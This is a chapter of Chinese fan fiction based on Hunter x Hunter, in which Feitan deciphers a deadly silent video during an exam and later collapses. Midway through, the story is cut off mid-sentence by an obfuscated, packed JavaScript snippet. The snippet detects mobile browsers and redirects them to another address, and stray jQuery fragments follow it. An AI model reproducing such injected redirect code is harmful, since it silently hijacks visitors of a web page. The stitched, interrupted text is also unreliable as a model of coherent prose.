理伯咔嚓咬着巧克力棒,目光聚焦在飞坦身上,不禁暗想,总不能是只有这小子一个人才能听见的声音?
算了,他就来监考的,难道还要自己答题吗?
理伯把东西咽进肚子里,重新打开话筒:“电视的视频可以反复播放哦,请在考试时间截止前,回答出视频内的声音在说什么。”
工具人般布置完任务,他便再次关掉了话筒。
小屋内,雷欧力揪着头发,看了眼自视频播放结束后,渐渐缓和过来的飞坦,小声试探:“真有声音啊?”
整的跟闹鬼似的。
飞坦呼吸还有点急促,抬眸看着雷欧力,此刻也忘了他几分钟前、还要杀了雷欧力的事情,嘴角动了动,却没有说话,而是沉默地拿起剑,对着墙面狠狠劈去。
这吓了雷欧力一跳,“你干嘛啊?”
飞坦依旧沉默,提剑又砍,但是墙面纹丝不动,他胸口剧烈起伏,有些愤恨地道:“这个破墙居然也加了气……”
若是平常,他早就劈了这墙,可现在……他严重透支,根本没有气可以用。
“呵……”飞坦突然又笑了声,他的感觉根本没有错,就是有人在针对自己,用天平耗光自己的气后,来迫使自己不得不去看那个视频,解答问题,然后通关。
不就是个视频吗?他还能听不出里面到底在说什么?
他现在还真来了几分兴趣,就要来听听,背后针对自己的那人,千方百计地想从视频里听见的到底是什么。
飞坦走到电视机面前,重新拿起遥控器,再次点了播放。
雷欧力就看着那段毫无声音的视频再次开始播放,而飞坦再次捂住耳朵,面色惨白,眉头纠在一起,本就没有彻底平息的呼吸再次急促起来。
“好吵!唧唧歪歪!烦死了!”
“别说了!”
“好吵……”
雷欧力茫然啊,不是,这到底有什么声音?
他不信邪,凑到电视剧面前,支棱着耳朵,努力去听。
没有,根本就没有!莫非又是要什么气才能听得见的东西?要是这样搞,那他也太没用途了吧?就一等着被飞坦带过关的废物吗?
也不对啊,上一关里,飞坦应该严重透支,使用不了那什么气才对,雷欧力抠抠耳朵,别是听力出问题了。
可不管他怎么听,都听不到,此时此刻,飞坦已经第三次播放视频了。
这次播放后,飞坦的脸色依旧白得没有一点血色,但是他不再捂着耳朵,也没有再说话,就像一个执拗的人,非要给自己做脱敏实验。
三次不行,就三十次。
所以雷欧力眼睁睁看着飞坦播放了第四次、第十次、第二十次……
恕他直言,如果不是飞坦的状态肉眼可见地差下去,雷欧力都能呼呼睡个大懒觉了。
眼瞅着飞坦还要再播放,雷欧力终于忍不住打断他,“别放了,你要不先睡一觉?反正离考试结束还有好几十个小时。”
飞坦没搭理他,雷欧力干脆上前挡住电视屏幕,“你瞅瞅你那张脸都白成啥了?看个哑剧能把自己看成这样,你也是够厉害的。”
“不是哑剧。”飞坦终于说话了,他声音嘶哑,也有些无力,“有声音。”
“哦……什么样的声音?”雷欧力半信半疑,毕竟他什么也没有听到。
“很奇怪、又很熟悉。”飞坦抬手捏住额头,努力回想,“好像在耳边、又好像在远处。”
雷欧力嘴巴动动,“你别是幻听了。”
飞坦瞪了他一眼,上前半步,抬起脚就踢在雷欧力的小腿肚子上,噗通一声脆响,雷欧力直接跪到了地上,飞坦抬手把他推倒在一边,看也不多看雷欧力一眼,继续播放起视频。
不知道是不是听太多了,还是因为被雷欧力一打岔,脑子清醒过来了,这一次……飞坦好像真的听懂了。
他嘴巴嗫嚅,下意识模仿着在视频里听到的话的音调,虽然含糊,也没有清楚的字,但光是调子,便已经足够怪异……雷欧力皱起眉头,依稀觉得在哪里听到过这种陌生的话。
他抬起手掌,拍在额头上,想起来了,当日在船舱吃饭时,飞坦曾说过一句听不懂的话,虽然不是一模一样,但调子听起来很像,不过飞坦方才重复的话更诡异,仅仅这么听上一次,都觉得身上痒痒麻麻的不舒服。
“这是哪个地方的话?和你家乡话很像,是源自同一个国家吗?”雷欧力单纯发问。
飞坦眼睛扑闪了下,“流星街人员混杂,说的语言也乱七八糟,我跟着不同的人学过说话,早就忘了我初学的土话是来自哪里。”
流星街……雷欧力曾经听到这三个字就害怕得不行,如今再听,他突然有些好奇,飞坦是如何在流星街长大的呢?
听说那里没有规则、弱肉强食、一片混乱……飞坦的过去,应该并不快乐。
雷欧力摇了摇脑子,他想什么去了啊?怎么莫名其妙心疼一个男人?
“那这话是什么意思?”雷欧力强迫自己问正事儿。
飞坦没有立刻回答,他抿起嘴,转身又播了一次视频,在开口之际,他的双眼有些涣散,似乎通过了视频,看见了另一个时空。
“它说……”飞坦缓缓道。
“嗯?”雷欧力好奇地立起耳朵,监控室里的理伯同样如此。
“它说……”
人类,把偷走的东西……
飞坦薄唇微启,上下轻合,分明在一字一句说话,可他又没有发出一点声音。
万籁俱寂,雷欧力和理伯好像不约而同地陷入了一个死寂的黄沙世界,这是一种让人心慌的亘古的静默,可紧接着是一道无比刺耳的声音,就像生锈的铁钉狠狠划过玻璃,直击耳膜。
理伯双瞳紧锁,瞬间动手切断了监控镜头,而小屋内的雷欧力则没有这么快的反应,他呆立在原地,鼻孔和眼睛都流出血痕,面部甚至开始扭曲。
若是他们能近距离亲眼目睹,视频中那男人死前的模样,便会知道,正如现在的雷欧力。
就在这个紧急的关头,飞坦意识到了不对,他猛地抬起手,死死按住了自己的嘴巴。
一句诡异的话,中途戛然而止。
雷欧力也骤然反应过来,抖着手蹭了蹭挂在脸上的鼻血,心里噗通噗通跳起来,顿时后怕万分:“我刚刚该不会差点被扭成麻花吧?”
“这到底是什么情况?”雷欧力吓得眼镜都快掉地上了,“小鬼,你刚刚有开口说话吗?小鬼?”
雷欧力扭头,只见飞坦捂着嘴,鲜血从指头缝里冒出来,缠在手腕上,顷刻间又落到地上,炸开成血花。
接着,飞坦双眼涣散,虚虚合上,整个人也失去意识,朝地面倒去。
雷欧力忙将人接住,着急:“小鬼?飞坦?你什么情况啊?喂!”
雷欧力匆匆忙忙检查了一下飞坦的情况,发现只是透支导致的晕厥后,松出一口气,转瞬又皱起眉头:“现、现在怎么办啊?”
理伯在监控室里问出了和雷欧力一样的问题,他手里捏着手机,对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842387|191334||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
电话另一头的尼特罗诉苦道:“会长,我刚刚差点给交待了呢。”
“啊哈哈,听起来很凶险啊。”
理伯叹气,“我是说真的,那小子分明没有说话,但我好像听见了一道无比刺耳的声音,接着就感觉到一股强大的力量,那不是念,是比念还强大的存在,要不是动作快,我现在可能已经死了,现在怎么办呢?要给他们算通关吗?”
“算。”
理伯道:“可他不是没把视频里的话,说出来吗?”
“他说出来了哦。”电话那头的尼特罗顿了几秒钟,“你也听见了哦。”
“哈?”理伯眼珠子左右一动,“难道我听见的那道声音,就是答案?”
尼特罗没有再回答了,只交待道:“让他们通过吧,理伯。”
“哦……好。”理伯挂了电话,摁开了话筒,对雷欧力道:“恭喜通关,大门即将打开,顺着大门就可以抵达塔底哦。”
雷欧力莫名其妙就得到了通关的消息,两个小眼睛里都是茫然,他这一场考试过得稀里糊涂。
小屋背面的墙居然是一扇门,随着理伯宣布通关,门缓缓打开,迎来一条灯光明亮的长走廊。
雷欧力虽然有些挫败,在这场考试,他发挥了零个作用,但能通关考试,他心里还是喜悦的,抱起飞坦后,他步履轻快地冲进走廊。
疾步走了将近四十分钟,总算来到了走廊的尽头,穿过亮光,便来到了塔底,此刻已经有不少人抵达这里,都各自盘坐休憩着。
雷欧力环视了一圈四周,暂时没看见小杰他们,本想单独找个安静的角落待着,却感觉眼前微暗,接着是拍照时会响起的咔嚓声。
西索正拿着个手机,对着他怀里的飞坦一连拍下几十张照片,正面、侧面、俯视……
雷欧力:“……你在干嘛?”
“拍照呀。”西索笑嘻嘻的,手里的快门都快摁出火花了,等他终于拍满意后,才挑眉问雷欧力:“哎呀,飞的新朋友,你叫什么名字呀?”
雷欧力:……闹了半天,西索连自己名字都不知道?那在失美乐湿地,干什么要杀自己啊?!
他吸了一口气,咬住牙关:“雷欧力。”
“雷欧力啊,我现在对你很感兴趣哦。”西索冲雷欧力抛了个媚眼,捏着手机,扭着腰,转身回了他原本待着的地方。
雷欧力脑子一头雾水,不知道西索到底什么意思,他扭头看了看周围,找到一个空着的地方,盘腿坐下,而飞坦被他揽在怀里,还昏睡着,没醒。
另一边的西索,拿着手机,将刚刚拍到的照片发给了玛奇:【我们的二号小蜘蛛也有这种看起来人畜无害的时候呢。】
玛奇过了一会儿才回复:【你对飞坦做了什么?】
【诶……人家什么也没有做呢,是一个叫雷欧力的男人,不知道做了什么,居然能抱着我们二号小蜘蛛呢。】
玛奇:【你p图了吧。】
西索:……
别人不愿意相信的事情,怎么说,都是个谎言。
西索轻笑着,给玛奇回了一个讨厌的小表情,而玛奇那边没了回复。
不是玛奇不想回,而是她正疑惑地看着飞坦的照片,那是一张视角离得较远,拍得比较全面的照片,她全神贯注打量的是飞坦垂在身侧的手腕。
透过不算清晰的照片,依稀能看见飞坦的手腕上有一道形状奇特的暗纹。
玛奇皱起眉头,可她怎么记得,飞坦身上除了旅团标志的那只蜘蛛外,并无其他纹身呢?